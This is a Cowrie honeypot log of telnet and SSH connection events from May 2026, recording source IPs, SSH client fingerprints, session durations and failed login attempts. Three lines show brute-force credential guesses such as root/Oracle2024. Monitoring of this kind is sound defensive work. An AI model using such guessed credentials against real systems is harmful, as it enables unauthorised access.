{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44422,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eb6ef427ff6","protocol":"telnet","message":"New connection: 152.42.224.71:44422 (10.17.0.5:23) [session: 0eb6ef427ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:55.017276Z"}
{"eventid":"cowrie.session.closed","duration":31.19395613670349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:55.298510Z","src_ip":"146.19.210.8","session":"fecbc38a5526","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.068889617919922,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:56.899185Z","src_ip":"20.169.104.121","session":"be2054a547f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.169.104.121","src_port":52058,"dst_ip":"10.17.0.5","dst_port":23,"session":"7266541de458","protocol":"telnet","message":"New connection: 20.169.104.121:52058 (10.17.0.5:23) [session: 7266541de458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:56.967619Z"}
{"eventid":"cowrie.session.closed","duration":0.11213517189025879,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:57.079659Z","src_ip":"20.169.104.121","session":"7266541de458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178961277008057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:01.142022Z","src_ip":"146.19.210.8","session":"81469ad96b21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.43063998222351,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:01.306586Z","src_ip":"152.42.224.71","session":"600935bfed7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":52904,"dst_ip":"10.17.0.5","dst_port":22,"session":"076dc590d235","protocol":"ssh","message":"New connection: 167.86.95.8:52904 (10.17.0.5:22) [session: 076dc590d235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:02.404981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:02.415044Z","src_ip":"167.86.95.8","session":"076dc590d235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:02.519802Z","src_ip":"167.86.95.8","session":"076dc590d235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:02.937009Z","src_ip":"167.86.95.8","session":"076dc590d235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.32887411117554,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:04.024138Z","src_ip":"152.42.224.71","session":"f502c49e1947","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:04.044554Z","src_ip":"167.86.95.8","session":"076dc590d235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":93.02708888053894,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:04.349337Z","src_ip":"152.42.224.71","session":"e471dee65e86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.558481216430664,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:08.910065Z","src_ip":"152.42.224.71","session":"c63730be941b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53368,"dst_ip":"10.17.0.5","dst_port":23,"session":"39dfcf207088","protocol":"telnet","message":"New connection: 152.42.224.71:53368 (10.17.0.5:23) [session: 39dfcf207088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:11.086417Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":37770,"dst_ip":"10.17.0.5","dst_port":23,"session":"48cf1541d35d","protocol":"telnet","message":"New connection: 146.19.210.8:37770 (10.17.0.5:23) [session: 48cf1541d35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:12.022321Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":33296,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2ce8cd8fe8b","protocol":"telnet","message":"New connection: 146.19.210.8:33296 (10.17.0.5:23) [session: a2ce8cd8fe8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:15.601264Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36100,"dst_ip":"10.17.0.5","dst_port":23,"session":"644456862fb7","protocol":"telnet","message":"New connection: 152.42.224.71:36100 (10.17.0.5:23) [session: 644456862fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:16.953005Z"}
{"eventid":"cowrie.session.closed","duration":36.3150589466095,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:17.782321Z","src_ip":"152.42.224.71","session":"7d118be4ece2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":33306,"dst_ip":"10.17.0.5","dst_port":23,"session":"de2a27545d42","protocol":"telnet","message":"New connection: 146.19.210.8:33306 (10.17.0.5:23) [session: de2a27545d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:17.963114Z"}
{"eventid":"cowrie.session.closed","duration":120.00232791900635,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:19.514169Z","src_ip":"152.42.224.71","session":"8b774170538f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.55958127975464,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:20.765776Z","src_ip":"152.42.224.71","session":"99727e73e3f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":40494,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b31354d8c0","protocol":"ssh","message":"New connection: 43.173.85.181:40494 (10.17.0.5:22) [session: 37b31354d8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:21.238281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:21.243004Z","src_ip":"43.173.85.181","session":"37b31354d8c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:21.314550Z","src_ip":"43.173.85.181","session":"37b31354d8c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Oracle2024","message":"login attempt [root/Oracle2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:21.617602Z","src_ip":"43.173.85.181","session":"37b31354d8c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:22.689183Z","src_ip":"43.173.85.181","session":"37b31354d8c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":33318,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d8c61384e36","protocol":"telnet","message":"New connection: 146.19.210.8:33318 (10.17.0.5:23) [session: 4d8c61384e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:23.339904Z"}
{"eventid":"cowrie.session.closed","duration":54.64435839653015,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:24.530238Z","src_ip":"152.42.224.71","session":"5de65fa692ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.456326723098755,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:24.647193Z","src_ip":"152.42.224.71","session":"a4cd6c3aea31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":43268,"dst_ip":"159.203.135.109","dst_port":22,"session":"87f1c530a949","protocol":"ssh","message":"New connection: 109.237.96.109:43268 (159.203.135.109:22) [session: 87f1c530a949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:25.294840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:25.299386Z","src_ip":"109.237.96.109","session":"87f1c530a949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:25.389024Z","src_ip":"109.237.96.109","session":"87f1c530a949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fkbyjxrf","message":"login attempt [root/fkbyjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:25.658693Z","src_ip":"109.237.96.109","session":"87f1c530a949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:26.751484Z","src_ip":"109.237.96.109","session":"87f1c530a949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42056,"dst_ip":"10.17.0.5","dst_port":23,"session":"42a5f2652a74","protocol":"telnet","message":"New connection: 152.42.224.71:42056 (10.17.0.5:23) [session: 42a5f2652a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:32.959852Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42066,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e923e1641c","protocol":"telnet","message":"New connection: 152.42.224.71:42066 (10.17.0.5:23) [session: b9e923e1641c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:34.516309Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":51000,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e1a4f7b00e5","protocol":"telnet","message":"New connection: 146.19.210.8:51000 (10.17.0.5:23) [session: 7e1a4f7b00e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:38.185387Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60180,"dst_ip":"10.17.0.5","dst_port":23,"session":"82010148ccc8","protocol":"telnet","message":"New connection: 152.42.224.71:60180 (10.17.0.5:23) [session: 82010148ccc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:40.602398Z"}
{"eventid":"cowrie.session.closed","duration":31.186306953430176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:43.208531Z","src_ip":"146.19.210.8","session":"48cf1541d35d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.738850355148315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:46.340001Z","src_ip":"146.19.210.8","session":"a2ce8cd8fe8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.93144154548645,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:46.884330Z","src_ip":"152.42.224.71","session":"644456862fb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":57874,"dst_ip":"159.203.135.109","dst_port":22,"session":"aea125051345","protocol":"ssh","message":"New connection: 47.237.167.49:57874 (159.203.135.109:22) [session: aea125051345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:47.445133Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":47250,"dst_ip":"10.17.0.5","dst_port":23,"session":"591873d0c71c","protocol":"telnet","message":"New connection: 146.19.210.8:47250 (10.17.0.5:23) [session: 591873d0c71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:49.643540Z"}
{"eventid":"cowrie.session.closed","duration":31.879045963287354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:49.842044Z","src_ip":"146.19.210.8","session":"de2a27545d42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.18381118774414,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:51.200984Z","src_ip":"152.42.224.71","session":"0eb6ef427ff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.889597177505493,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:52.849299Z","src_ip":"152.42.224.71","session":"42a5f2652a74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":47254,"dst_ip":"10.17.0.5","dst_port":23,"session":"917b386e5a99","protocol":"telnet","message":"New connection: 146.19.210.8:47254 (10.17.0.5:23) [session: 917b386e5a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:53.703635Z"}
{"eventid":"cowrie.session.closed","duration":31.102409839630127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:54.442214Z","src_ip":"146.19.210.8","session":"4d8c61384e36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33516,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8d59a9015cc","protocol":"telnet","message":"New connection: 152.42.224.71:33516 (10.17.0.5:23) [session: b8d59a9015cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:55.088018Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45846,"dst_ip":"10.17.0.5","dst_port":23,"session":"0567288fe0ae","protocol":"telnet","message":"New connection: 152.42.224.71:45846 (10.17.0.5:23) [session: 0567288fe0ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:58.574686Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45842,"dst_ip":"10.17.0.5","dst_port":23,"session":"67aa83eedb3b","protocol":"telnet","message":"New connection: 152.42.224.71:45842 (10.17.0.5:23) [session: 67aa83eedb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:35:58.618477Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":52646,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2cd62d9283f","protocol":"telnet","message":"New connection: 146.19.210.8:52646 (10.17.0.5:23) [session: b2cd62d9283f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:00.204782Z"}
{"eventid":"cowrie.session.closed","duration":50.04274106025696,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:01.129036Z","src_ip":"152.42.224.71","session":"39dfcf207088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49372,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1fac2846a83","protocol":"telnet","message":"New connection: 152.42.224.71:49372 (10.17.0.5:23) [session: e1fac2846a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:06.952466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:07.327142Z","src_ip":"47.237.167.49","session":"aea125051345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.045339822769165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:09.230627Z","src_ip":"146.19.210.8","session":"7e1a4f7b00e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49382,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc1a1f0218e2","protocol":"telnet","message":"New connection: 152.42.224.71:49382 (10.17.0.5:23) [session: cc1a1f0218e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:09.667485Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49392,"dst_ip":"10.17.0.5","dst_port":23,"session":"180c08ad4af9","protocol":"telnet","message":"New connection: 152.42.224.71:49392 (10.17.0.5:23) [session: 180c08ad4af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:10.869634Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50622,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f6afc0de91","protocol":"telnet","message":"New connection: 152.42.224.71:50622 (10.17.0.5:23) [session: 24f6afc0de91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:16.852972Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:18.707029Z","src_ip":"47.237.167.49","session":"aea125051345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50624,"dst_ip":"10.17.0.5","dst_port":23,"session":"989edd2a5427","protocol":"telnet","message":"New connection: 152.42.224.71:50624 (10.17.0.5:23) [session: 989edd2a5427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:18.919493Z"}
